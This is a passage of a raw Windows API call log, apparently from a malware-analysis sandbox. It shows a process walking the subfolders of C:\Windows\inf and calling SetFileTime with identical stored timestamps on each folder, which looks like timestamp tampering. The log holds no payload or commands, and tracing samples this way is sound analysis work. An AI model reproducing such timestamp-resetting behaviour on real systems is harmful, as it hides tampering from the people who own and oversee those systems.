lstrcmpA (lpString1="..", lpString2="0011") returned -1 [0130.840] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0011\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.840] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.841] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.841] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.843] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.843] CloseHandle (hObject=0x8c) returned 1 [0130.843] lstrcmpA (lpString1=".", lpString2="0012") returned -1 [0130.844] lstrcmpA (lpString1="..", lpString2="0012") returned -1 [0130.844] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0012\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.845] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.846] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.846] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.848] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.848] CloseHandle (hObject=0x8c) returned 1 [0130.848] lstrcmpA (lpString1=".", lpString2="0013") returned -1 [0130.849] lstrcmpA (lpString1="..", lpString2="0013") returned -1 [0130.849] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0013\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.849] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.849] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.849] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.852] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.852] CloseHandle (hObject=0x8c) returned 1 [0130.852] lstrcmpA (lpString1=".", lpString2="0014") returned -1 [0130.852] lstrcmpA (lpString1="..", lpString2="0014") returned -1 [0130.853] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0014\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.854] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.854] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.854] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.858] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.858] CloseHandle (hObject=0x8c) returned 1 [0130.858] lstrcmpA (lpString1=".", lpString2="0015") returned -1 [0130.858] lstrcmpA (lpString1="..", lpString2="0015") returned -1 [0130.858] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0015\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.859] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.859] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.859] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.861] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.862] CloseHandle (hObject=0x8c) returned 1 [0130.862] lstrcmpA (lpString1=".", lpString2="0019") returned -1 [0130.862] lstrcmpA (lpString1="..", lpString2="0019") returned -1 [0130.862] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0019\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d94fc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.864] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.864] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.864] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.867] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.867] CloseHandle (hObject=0x8c) returned 1 [0130.867] lstrcmpA (lpString1=".", lpString2="001D") returned -1 [0130.867] lstrcmpA (lpString1="..", lpString2="001D") returned -1 [0130.867] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\001D\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d94fc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.868] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.868] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.868] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.870] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.870] CloseHandle (hObject=0x8c) returned 1 [0130.871] lstrcmpA (lpString1=".", lpString2="001F") returned -1 [0130.871] lstrcmpA (lpString1="..", lpString2="001F") returned -1 [0130.871] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\001F\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d94fc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.872] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.872] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.872] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.874] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.874] CloseHandle (hObject=0x8c) returned 1 [0130.875] lstrcmpA (lpString1=".", lpString2="0404") returned -1 [0130.875] lstrcmpA (lpString1="..", lpString2="0404") returned -1 [0130.875] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0404\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.876] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.877] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.877] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.879] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.879] CloseHandle (hObject=0x8c) returned 1 [0130.879] lstrcmpA (lpString1=".", lpString2="0416") returned -1 [0130.879] lstrcmpA (lpString1="..", lpString2="0416") returned -1 [0130.879] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0416\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.881] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.881] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.881] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.883] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.883] CloseHandle (hObject=0x8c) returned 1 [0130.884] lstrcmpA (lpString1=".", lpString2="0804") returned -1 [0130.884] lstrcmpA (lpString1="..", lpString2="0804") returned -1 [0130.884] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0804\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.885] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.885] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.886] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.888] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.888] CloseHandle (hObject=0x8c) returned 1 [0130.889] lstrcmpA (lpString1=".", lpString2="0816") returned -1 [0130.889] lstrcmpA (lpString1="..", lpString2="0816") returned -1 [0130.889] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0816\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d94fc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.889] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.889] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.889] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.892] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.892] CloseHandle (hObject=0x8c) returned 1 [0130.895] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.895] CloseHandle (hObject=0x88) returned 1 [0130.897] lstrcmpA (lpString1=".", lpString2="TAPISRV") returned -1 [0130.897] lstrcmpA (lpString1="..", lpString2="TAPISRV") returned -1 [0130.898] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\TAPISRV\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5e8a26, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.898] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.898] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.898] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.898] lstrcmpA (lpString1=".", lpString2="0000") returned -1 [0130.898] lstrcmpA (lpString1="..", lpString2="0000") returned -1 [0130.899] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\TAPISRV\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5e8a26, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe9ecea4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe9ecea4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.899] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.899] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.899] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.903] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.903] CloseHandle (hObject=0x8c) returned 1 [0130.904] lstrcmpA (lpString1=".", lpString2="0409") returned -1 [0130.904] lstrcmpA (lpString1="..", lpString2="0409") returned -1 [0130.904] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\TAPISRV\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21c33f9b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.905] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.905] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.905] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.906] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0130.906] CloseHandle (hObject=0xffffffff) returned 0 [0130.908] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.909] CloseHandle (hObject=0x88) returned 1 [0130.909] lstrcmpA (lpString1=".", lpString2="TermService") returned -1 [0130.909] lstrcmpA (lpString1="..", lpString2="TermService") returned -1 [0130.909] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\TermService\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5e8a26, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.910] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.910] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.910] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\TermService\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5e8a26, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe9ecea4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe9ecea4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.913] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\TermService\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x222e9a20, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.919] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\UGatherer\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x375a498b, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x375a498b, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.920] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\UGatherer\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b49365, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b49365, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.923] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\UGatherer\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375a498b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x238ae7a2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.928] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\UGTHRSVC\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x375caaeb, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x375caaeb, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.929] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\UGTHRSVC\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b49365, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b49365, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.932] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\UGTHRSVC\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375caaeb, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x238ae7a2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.939] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\usbhub\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5e8a26, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x375a498b, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x375a498b, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.940] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\usbhub\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe9ecea4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe9ecea4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.943] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\usbhub\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375a498b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x232b7aba, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.959] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 3.0.0.0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.962] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 3.0.0.0\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b49365, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b49365, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.965] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 3.0.0.0\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b69551, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.971] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xe63d4980, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xe63d4980, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.975] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0001\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, 